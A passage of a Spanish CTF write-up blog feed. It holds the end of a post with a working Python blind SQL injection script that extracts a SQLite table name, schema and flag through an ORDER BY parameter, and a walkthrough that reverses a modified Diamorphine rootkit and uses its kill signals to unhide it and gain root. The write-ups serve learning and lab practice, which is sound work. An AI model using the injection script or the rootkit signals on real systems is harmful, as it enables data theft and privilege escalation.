&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;order&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;(CASE WHEN (1=0) THEN id ELSE count END) ASC&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si la condición es True, la lista queda ordenada por &lt;code&gt;id&lt;/code&gt;. Si es False, se ordena por &lt;code&gt;count&lt;/code&gt;. Con esa diferencia podemos inferir bits de información.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="extracción-carácter-a-carácter-blind"&gt;Extracción carácter a carácter (blind)&lt;/h3&gt;
&lt;p&gt;Para extraer texto sin ver errores ni datos directamente, se puede consultar un carácter concreto con &lt;code&gt;substr&lt;/code&gt; (o &lt;code&gt;substring&lt;/code&gt;) y compararlo. En el script de ejemplo, se compara contra el valor en &lt;strong&gt;hex&lt;/strong&gt; para manejar caracteres especiales.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import string
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;host, port = &lt;span style="color:#e6db74"&gt;&amp;#39;94.237.51.160&amp;#39;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;45916&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOST = f&lt;span style="color:#e6db74"&gt;&amp;#39;{{http://{host}}}:{port}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def req(payload)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; r =
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;requests.post
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(f&lt;span style="color:#e6db74"&gt;&amp;#39;{HOST}/api/list&amp;#39;&lt;/span&gt;, data={&lt;span style="color:#e6db74"&gt;&amp;#39;order&amp;#39;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; payload})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; r.json()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Request failed: {e}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;i = &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;f = &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(&lt;span style="color:#e6db74"&gt;&amp;#34;Starting injection...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; True&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; i += &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; found_char = False
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; char &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; string.printable&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; char == &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Convert char to hex to handle special characters safely in SQLite&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; char_hex = format(ord(char), &lt;span style="color:#e6db74"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;).upper()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Construct the query&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# We check if the hex of the substring equals our hex character&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; query = f&lt;span style="color:#e6db74"&gt;&amp;#34;SELECT hex(substr((SELECT tbl_name FROM sqlite_master WHERE type=&amp;#39;table&amp;#39; LIMIT 1 OFFSET 0),{i}, 1)) = &amp;#39;{char_hex}&amp;#39;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Injection payload for ORDER BY clause&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# If True, order by &amp;#39;id&amp;#39; (id 1 comes first usually)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# If False, order by &amp;#39;count&amp;#39; (assuming a different order)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; payload = f&lt;span style="color:#e6db74"&gt;&amp;#39;(CASE WHEN ({query}) THEN id ELSE count END) ASC&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response = req(payload)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Check if we got a valid response and if the first item has id 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; response and response[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;].get(&lt;span style="color:#e6db74"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;) == &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; f += char
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Found character: {char} | Current String: {f}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; found_char = True
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# If we went through all characters and didn&amp;#39;t find a match, the string has ended&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not found_char&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Extraction complete. Final string: {f}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Salida del script (ejemplo):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python exploit.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting injection...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; f | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; f
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; l | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; a | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fla
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; g | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; _ | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; e | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e72
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e726
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; b | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; d | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b5d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b5d9
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b5d90
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Extraction complete. Final string&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b5d90
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="enumeración-de-columnas-en-sqlite"&gt;Enumeración de columnas en SQLite&lt;/h3&gt;
&lt;p&gt;En SQLite no existe &lt;code&gt;DESCRIBE table&lt;/code&gt; como en MySQL. En su lugar, se puede consultar la columna &lt;code&gt;sql&lt;/code&gt; de &lt;code&gt;sqlite_master&lt;/code&gt;, que contiene el &lt;code&gt;CREATE TABLE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Cambiamos el &lt;code&gt;query&lt;/code&gt; por:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;query = f'''SELECT hex(substr((SELECT sql FROM sqlite_master WHERE tbl_name='\{flag_e7264b5d90\}'), \{i\}, 1)) = '\{char_hex\}' '''&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Obtenemos una cadena como:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CREATE TABLE flag_e7264b5d90 (flag TEXT)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lo que nos revela el nombre de la columna: &lt;code&gt;flag&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="extracción-del-valor-de-la-flag"&gt;Extracción del valor de la flag&lt;/h3&gt;
&lt;p&gt;Finalmente, apuntamos a la columna &lt;code&gt;flag&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;query = f'''SELECT hex(substr((SELECT flag FROM flag_e7264b5d90 ), \{i\}, 1)) = '\{char_hex\}' '''&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ec888fa-f353-8039-b67c-d5e7a87d4eb0.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Cyberpsychosis (Easy)</title><link>https://synacklabs.github.io/posts/cyberpsychosis/</link><pubDate>Thu, 15 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/cyberpsychosis/</guid><description>&lt;h2 id="contexto-y-objetivo"&gt;Contexto y objetivo&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Cyberpsychosis&lt;/strong&gt; es un challenge de reversing y análisis de rootkits que simula un escenario de respuesta a incidentes. Según el briefing, actores maliciosos han comprometido un sistema e implantado un rootkit personalizado. El objetivo es analizar el módulo, desactivarlo y recuperar la información oculta.&lt;/p&gt;
&lt;p&gt;El challenge proporciona un archivo comprimido que contiene un módulo de kernel de Linux (LKM), tipo de malware utilizado para mantener persistencia con máximos privilegios y evasión de detección.&lt;/p&gt;</description><content>&lt;h2 id="contexto-y-objetivo"&gt;Contexto y objetivo&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Cyberpsychosis&lt;/strong&gt; es un challenge de reversing y análisis de rootkits que simula un escenario de respuesta a incidentes. Según el briefing, actores maliciosos han comprometido un sistema e implantado un rootkit personalizado. El objetivo es analizar el módulo, desactivarlo y recuperar la información oculta.&lt;/p&gt;
&lt;p&gt;El challenge proporciona un archivo comprimido que contiene un módulo de kernel de Linux (LKM), tipo de malware utilizado para mantener persistencia con máximos privilegios y evasión de detección.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="reconocimiento-inicial"&gt;Reconocimiento inicial&lt;/h2&gt;
&lt;p&gt;Al descomprimir el archivo proporcionado, encontramos un fichero con extensión &lt;code&gt;.ko&lt;/code&gt;: &lt;strong&gt;diamorphine.ko&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Identificamos el tipo de archivo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;file diamorphine.ko
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se trata de un &lt;strong&gt;Kernel Object&lt;/strong&gt;, es decir, un &lt;strong&gt;módulo de kernel cargable (LKM)&lt;/strong&gt; para sistemas Linux. Estos módulos operan en ring 0 con privilegios absolutos sobre el sistema.&lt;/p&gt;
&lt;p&gt;Una búsqueda inicial revela que &lt;strong&gt;Diamorphine&lt;/strong&gt; es un rootkit LKM público y bien documentado, diseñado para:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ocultar procesos del sistema&lt;/li&gt;
&lt;li&gt;Elevar privilegios de usuarios arbitrarios&lt;/li&gt;
&lt;li&gt;Ocultarse a sí mismo de herramientas de monitorización&lt;/li&gt;
&lt;li&gt;Persistir en el kernel&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="análisis-estático"&gt;Análisis estático&lt;/h2&gt;
&lt;h3 id="carga-en-ghidra"&gt;Carga en Ghidra&lt;/h3&gt;
&lt;p&gt;Cargamos el módulo &lt;code&gt;diamorphine.ko&lt;/code&gt; en &lt;strong&gt;Ghidra&lt;/strong&gt; para realizar ingeniería inversa del código. Como primer paso, inspeccionamos las strings presentes en el binario para identificar indicadores de comportamiento.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-806a-bd96-e62e5dc1f964.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Las strings confirman la presencia de &lt;strong&gt;Diamorphine&lt;/strong&gt;, mostrando referencias al proyecto original. Esto valida nuestra hipótesis inicial sobre la naturaleza del rootkit.&lt;/p&gt;
&lt;h3 id="documentación-del-comportamiento-estándar"&gt;Documentación del comportamiento estándar&lt;/h3&gt;
&lt;p&gt;Consultamos el repositorio oficial del proyecto (&lt;a href="https://github.com/m0nad/Diamorphine"&gt;https://github.com/m0nad/Diamorphine&lt;/a&gt;) para comprender el comportamiento esperado:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/8cd31af4-4ab0-4567-b8e1-35f23aff9c7f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Según la documentación, el módulo responde a señales de Unix (&lt;code&gt;kill&lt;/code&gt;) para activar funcionalidades:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Señal 31&lt;/strong&gt;: Ocultar o mostrar un proceso específico&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Señal 63&lt;/strong&gt;: Alternar visibilidad del módulo en &lt;code&gt;lsmod&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Señal 64&lt;/strong&gt;: Otorgar privilegios de root al proceso que envía la señal&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;El procedimiento estándar de desinstalación es:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kill -63 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Hacer visible el módulo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rmmod diamorphine &lt;span style="color:#75715e"&gt;# Eliminar el módulo (como root)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="análisis-dinámico"&gt;Análisis dinámico&lt;/h2&gt;
&lt;h3 id="primer-intento-de-desactivación"&gt;Primer intento de desactivación&lt;/h3&gt;
&lt;p&gt;Nos conectamos al servicio remoto proporcionado:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc &amp;lt;IP&amp;gt; &amp;lt;Puerto&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aplicamos el procedimiento documentado para hacer visible el módulo y eliminarlo:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-803f-8708-f3c63321d4bc.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El sistema entra en &lt;strong&gt;kernel panic&lt;/strong&gt; inmediatamente. Esto indica que el rootkit ha sido &lt;strong&gt;modificado intencionalmente&lt;/strong&gt; y no sigue el comportamiento del Diamorphine original. La señal 63 no es la correcta en esta versión.&lt;/p&gt;
&lt;h3 id="identificación-de-la-modificación"&gt;Identificación de la modificación&lt;/h3&gt;
&lt;p&gt;Retornamos al análisis estático. Navegamos a la función &lt;code&gt;hacked_kill()&lt;/code&gt;, responsable de procesar las señales enviadas al módulo.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/ad777010-d72c-4ac1-a263-56202fb84c81.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Observamos que la condición que controla la visibilidad del módulo compara contra un valor en hexadecimal. Convertimos el valor a decimal mediante clic derecho en Ghidra:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-8032-a3d3-ee359b65f260.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El &lt;strong&gt;número mágico modificado es 46&lt;/strong&gt;, no 63 como en la versión original.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="solución-desactivación-del-rootkit-modificado"&gt;Solución: Desactivación del rootkit modificado&lt;/h2&gt;
&lt;p&gt;Con la señal correcta identificada, procedemos a desactivar el rootkit:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hacer visible el módulo&lt;/strong&gt; con la señal modificada:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kill -46 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Obtener privilegios de root&lt;/strong&gt; con la señal documentada:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kill -64 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80f7-b652-cac6bfa58d3d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El rootkit ahora es visible y tenemos privilegios de root sin causar kernel panic.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="recuperación-de-la-flag"&gt;Recuperación de la flag&lt;/h2&gt;
&lt;h3 id="búsqueda-en-el-sistema-de-archivos"&gt;Búsqueda en el sistema de archivos&lt;/h3&gt;
&lt;p&gt;Sabiendo que HackTheBox almacena sus flags típicamente en archivos &lt;code&gt;.txt&lt;/code&gt;, realizamos una búsqueda recursiva en todo el sistema:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find / -name &lt;span style="color:#e6db74"&gt;&amp;#34;*.txt&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80c4-80f2-e71d70b353b7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La búsqueda revela la ubicación del archivo que contiene la información oculta.&lt;/p&gt;
&lt;h3 id="verificación-final"&gt;Verificación final&lt;/h3&gt;
&lt;p&gt;Leemos el contenido de la flag:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /ruta/al/archivo.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80e2-9714-d4c1a067b6c7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Obtenemos la flag y completamos el challenge.&lt;/p&gt;
&lt;hr&gt;
